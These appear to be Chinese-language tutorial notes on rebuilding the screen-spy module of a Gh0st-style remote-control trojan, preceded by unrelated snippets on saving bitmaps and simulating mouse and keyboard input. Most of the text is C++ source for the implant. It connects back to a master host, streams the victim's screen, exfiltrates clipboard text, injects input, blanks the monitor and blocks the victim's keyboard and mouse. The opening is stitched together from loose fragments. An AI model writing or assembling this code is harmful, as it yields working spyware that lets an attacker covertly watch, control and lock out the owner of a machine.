dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
// 写入位图文件头
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
// 写入位图文件其余内容
WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL);
//清除
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
void CMy_ScreenDlg::OnOK()
{
m_pic.SetBitmap(tempmap);
delete temprect;
SaveBmp("123.bmp",tempmap);
//CDialog::OnOK();
}
左上
BOOL SetCursorPos( //将光标移动到指定位置
int X, //光标位置
int Y
);
VOID mouse_event( //合成鼠标动作
DWORD dwFlags, //动作的标识
DWORD dx, //将要发生动作的位置相对于当前位置的距离
DWORD dy, //
DWORD dwData, 如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值
ULONG_PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event
MOUSEEVENTF_LEFTDOWN
0x0002
MOUSEEVENTF_LEFTUP
0x0004
MOUSEEVENTF_RIGHTDOWN
0x0008
MOUSEEVENTF_RIGHTUP
0x0010
VOID keybd_event( //合成键盘击键动作
BYTE bVk, //虚拟键值
BYTE bScan, //硬件扫描码
DWORD dwFlags, //按下或抬起的状态
PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event
KEYEVENTF_EXTENDEDKEY
0x0001
KEYEVENTF_KEYUP
0x0002
添加鼠标"左键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //抬起鼠标
添加鼠标"右键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); //抬起鼠标
添加键盘"按下"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus(); // 放置焦点
keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
添加键盘"抬起"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus();
//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
//Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
ASCII码 美国信息交换标准代码
65 66 67
abc
从用户的点击菜单事件开始分析
void CPcView::OnScreenspy()
{
// TODO: Add your command handler code here
BYTE bToken = COMMAND_SCREEN_SPY; // 发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}
在服务端 搜索 CKernelManager.cpp OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) // 收到消息
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
创建了个 线程
Loop_ScreenManager
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
//csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN; // 屏幕扫描算法
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
//启动两个功能 ControlThread 用于 主控端对服务器的控制
//workthread 的分析
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 发送bmp位图结构
// 等控制端对话框打开
pThis->WaitForDialogOpen();
// 等待 主控回应
pThis->sendFirstScreen(); //发送第一帧的数据
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen(); //发送接下来的 数据
}catch(...){};
// CScreenSpy 类
return 0;
}
void CScreenManager::sendBITMAPINFO()
{
//m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类 .h CScreenSpy *m_pScreenSpy;
//得到 bmp 结构大小
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
UINT CScreenSpy::getBISize()
{
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::getBI()
{
return m_lpbmi_full;
}
//将位图结构 返回
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
//查看 桌面 所用的 像素位
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation()) // 得到 当前用户控制台
{
m_hDeskTopWnd = GetDesktopWindow(); //得到桌面窗口
m_hFullDC = GetDC(m_hDeskTopWnd); //获取 DC
}
m_dwBitBltRop = SRCCOPY;
m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
//根据 设备DC 创建 内存 DC
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
// .h LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
//位图的 信息结构 ConstructBI
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
//根据设备 DC 位图结构 创建一个 BItmap
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
// 用 设备的 DC 创建 位图 图像 结构 保存在这 中缓冲区内
// 保证 不用保存成文件 进行发送给 主控 为位图分配了 内存空间
// HBITMAP m_hLineBitmap, m_hFullBitmap;
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
// 将内存DC 与 BITMAP 联系起来
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
为了创建位图的 结构
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小
biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表
*/
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
lpbmih->biWidth = biWidth;
lpbmih->biHeight = biHeight;
lpbmih->biPlanes = 1;
lpbmih->biBitCount = biBitCount;
lpbmih->biCompression = BI_RGB;
lpbmih->biXPelsPerMeter = 0;
lpbmih->biYPelsPerMeter = 0;
lpbmih->biClrUsed = 0;
lpbmih->biClrImportant = 0;
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
// 16位和以后的没有颜色表,直接返回
if (biBitCount >= 16)
return lpbmi;
/*
Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。
Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。
*/
HDC hDC = GetDC(NULL);
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
ReleaseDC(NULL, hDC);
DeleteObject(hBmp);
if (m_bIsGray)
{
for (int i = 0; i < color_num; i++)
{
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
}
}
return lpbmi;
}
ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,
ScreenSpy这个类完整的成熟的类
添加insert New class
添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下
添加CScreenManager这个类他的父类为CManager(注意他的文件位置)
// screenmanager.cpp
//#include "stdafx.h"
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
在.h文件中添加成员变量:
#include "ScreenSpy.h"
public:
bool m_bIsWorking;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
private:
BYTE m_bAlgorithm;
bool m_bIsCaptureLayer;
int m_biBitCount;
HANDLE m_hWorkThread, m_hBlankThread;
CCursorInfo m_CursorInfo;
CScreenSpy *m_pScreenSpy;
初始化构造函数变量
创建两个线程
m_bAlgorithm = ALGORITHM_SCAN; //屏幕扫描算法
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8); //CScreenSpy类
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
//启动两个功能 看字义我们就知道ControlThread用于主控端对服务端的控制
//我们由浅入深 先看一下ControlThread的功能转到这个函数
//接着分析WorkThread函数
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
添加 static DWORD WINAPI ControlThread(LPVOID lparam);
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
//这个函数只是用于处理服务端黑屏的 我们返回构造函数
return -1;
判断 服务与主控 是否链接成功
bool CScreenManager::IsConnect()
{
return m_pClient->IsRunning();
}
屏幕分辨率是否改变
// 屏幕分辨率是否发生改变
bool CScreenManager::IsMetricsChange()
{
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI(); // 得到当前分辨率的位图结构
// 跟当前分辨率 比较
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
重新设置屏幕的功能
void CScreenManager::ResetScreen(int biBitCount)
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
if (biBitCount == 3) // 4位灰度
m_pScreenSpy = new CScreenSpy(4, true);
else if (biBitCount == 7) // 8位灰度
m_pScreenSpy = new CScreenSpy(8, true);
else
m_pScreenSpy = new CScreenSpy(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
int CScreenManager::GetCurrentPixelBits()
{
return m_biBitCount;
}
包含#include
DWORD WINAPI WorkThread(LPVOID lparam)
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO(); //发送bmp位图结构
// 等控制端对话框打开
pThis->WaitForDialogOpen(); //等待主控端的回应
pThis->sendFirstScreen(); //发送第一帧的数据
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen(); //然后继续发送接下来的数据
}catch(...){};
//看上去这个函数也很简单,他的功能来自于sendBITMAPINFO,sendFirstScreen,sendNextScreen
//我们要分析这三个函数就必须了解一个类CScreenSpy
//查看sendBITMAPINFO函数的定义证明这一点
return 0;
}
void CScreenManager::sendBITMAPINFO()
{
//刚才给大家看过了m_pScreenSpy这个变量的定义就是CScreenSpy类
//这里得到bmp结构的大小
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
void CScreenManager::sendFirstScreen()
{
//这个函数也没有什么特别的就是从CScreenSpy的getFirstScreen函数中得到图像数据
//然后用getFirstImageSize得到数据的大小然后发送出去,我们到getFirstScreen
//的定义
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CScreenManager::sendNextScreen()
{
//这个函数依旧很简洁 得到数据,得到数据大小,然后发送
//我们到getNextScreen函数的定义
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
接受控制
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// 远程仍然可以操作
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
发送剪切板数据
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb); // 锁定内存
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
void CScreenManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize)
{
// 数据包不合法
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// 命令个数
int nCount = nSize / sizeof(MSG);
// 处理多个命令
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard(); // 剪切板置空
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len); // 分配一段内存
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
#define _WIN32_WINNT 0x0400 处理编译错误
添加对话框资源IDD_SCREENSPY并添加最大化最小化框
为对话框添加相应的类CScreenSpyDlg(注意他的基类)。
CScreenSpyDlg更改构造函数的参数,编译处理编译错误
.cpp中 添加全局枚举变量,和外部定义:
enum
{
IDM_CONTROL = 0x0010,
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_BLANK_SCREEN, // 黑屏
IDM_CAPTURE_LAYER, // 捕捉层
IDM_SAVEDIB, // 保存图片
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ALGORITHM_SCAN, // 隔行扫描算法
IDM_ALGORITHM_DIFF, // 差异比较算法
IDM_DEEP_1, // 屏幕色彩深度.....
IDM_DEEP_4_GRAY,
IDM_DEEP_4_COLOR,
IDM_DEEP_8_GRAY,
IDM_DEEP_8_COLOR,
IDM_DEEP_16,
IDM_DEEP_32
};
// 两种算法
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的
6.h添加文件中添加类的成员变量:
private:
int m_nBitCount;
bool m_bIsFirst;
bool m_bIsTraceCursor;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
HICON m_hIcon;
MINMAXINFO m_MMI;
HDC m_hDC, m_hMemDC, m_hPaintDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
UINT m_nCount;
UINT m_HScrollPos, m_VScrollPos;
HCURSOR m_hRemoteCursor;
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
POINT m_RemoteCursorPos;
BYTE m_bCursorIndex;
CCursorInfo m_CursorInfo;
bool m_bIsCtrl;
.h中 添加#include "..\..\common\CursorInfo.h" 解决编译错误
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CScreenSpyDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_lpScreenDIB = NULL;
char szPath[MAX_PATH];
GetSystemDirectory(szPath, MAX_PATH);
lstrcat(szPath, "\\shell32.dll");
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
//这里就是保存bmp位图头了
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
m_bIsCtrl = false; // 默认不控制
m_nCount = 0;
m_bCursorIndex = 1;
}
void CScreenSpyDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi=NULL;
if (m_lpbmi_rect)
delete m_lpbmi_rect;
m_lpbmi_rect=NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
CDialog::OnClose();
}
BOOL CScreenSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//初始化菜单
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
pSysMenu->AppendMenu(MF_SEPARATOR);
